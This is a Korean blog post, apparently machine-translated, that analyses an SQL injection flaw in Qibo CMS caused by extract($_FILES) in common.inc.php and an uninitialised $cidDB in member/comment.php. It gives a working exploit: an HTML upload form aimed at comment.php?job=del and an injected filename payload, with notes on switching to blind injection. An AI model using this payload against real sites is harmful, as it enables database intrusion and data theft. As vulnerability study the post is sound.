오늘 asrc에서 cms의 취약점 분석에 대한 기사를 봤습니다. (http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib&id=13 ) 아직 알리바바 전문가들은 활용 방법은커녕 취약점 분석을 작성할 때 조금 조심스러운 느낌이 듭니다.
바이두에서 이 CMS를 검색해봤는데 아직도 사용량이 꽤 많네요. 저는 PHP에 대해 잘 몰라서 간단하게 공부하고 사용법을 정리해봤습니다.
취약점의 원인은 inc/common.inc.php에 있는 다음 코드입니다.
if(!ini_get('register_globals')){ @extract($_FILES,EXTR_SKIP); }
이 코드의 의미는 다음과 같습니다. PHP가 수신한 $_Files 요청 배열을 일부 변수로 변환합니다. 그리고 우리는 이러한 변수가 마법의 따옴표로 이스케이프되지 않는다는 것을 알고 있습니다.
member/comment.php 파일을 다시 보면 다음 코드가 나옵니다.
if($job=='del'){ foreach( $cidDB AS $key=>$value){ $rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'"); $erp=get_id_table($rs[aid]); $rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'"); if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){ $db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'"); } $db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'"); } refreshto("$FROMURL","删除成功",0); }
여기서 $cidDB 변수는 get 메소드를 통해 URL에서 메시지의 id를 가져온 후 sql 문에 넣어 sql을 실행합니다.
그러나 comment.php는 common.inc.php를 참조하고 $cidDB는 초기화되지 않았기 때문에 여기서 $_Files의 변수를 사용할 수 있습니다. 이스케이프 없이 $cidDB를 직접 실행합니다.
poc:
실제로는 poc이 아닙니다. 간단한 활용 방법 중 하나입니다.
간단한 HTML 페이지 작성:
웹사이트 관련 주소를 action
<form method="post" action="http://127.0.0.1/v7/member/comment.php?job=del" enctype="multipart/form-data"> <input type="file" name="cidDB"> <input type="submit" name="submit"> </form>
그런 다음 파일 이름을 1' Union Select version() 및 '1'='1
그런 다음 업로드를 제출하면 반환 결과를 볼 수 있습니다.
여기 하나 있어요 더 골치 아픈 문제는 값 값이 두 개의 SQL 문에 저장되기 때문에 두 문의 열이 다르기 때문에 여기서 Union을 사용하면 오류가 보고되는데, 유일한 방법은 Blind Injection입니다. 또는 다른 곳에서 초기화되지 않은 변수를 찾을 수 있습니다.
위 내용은 관련 측면을 포함하여 Qibo CMS의 SQL 주입 취약점에 대한 학습을 소개합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.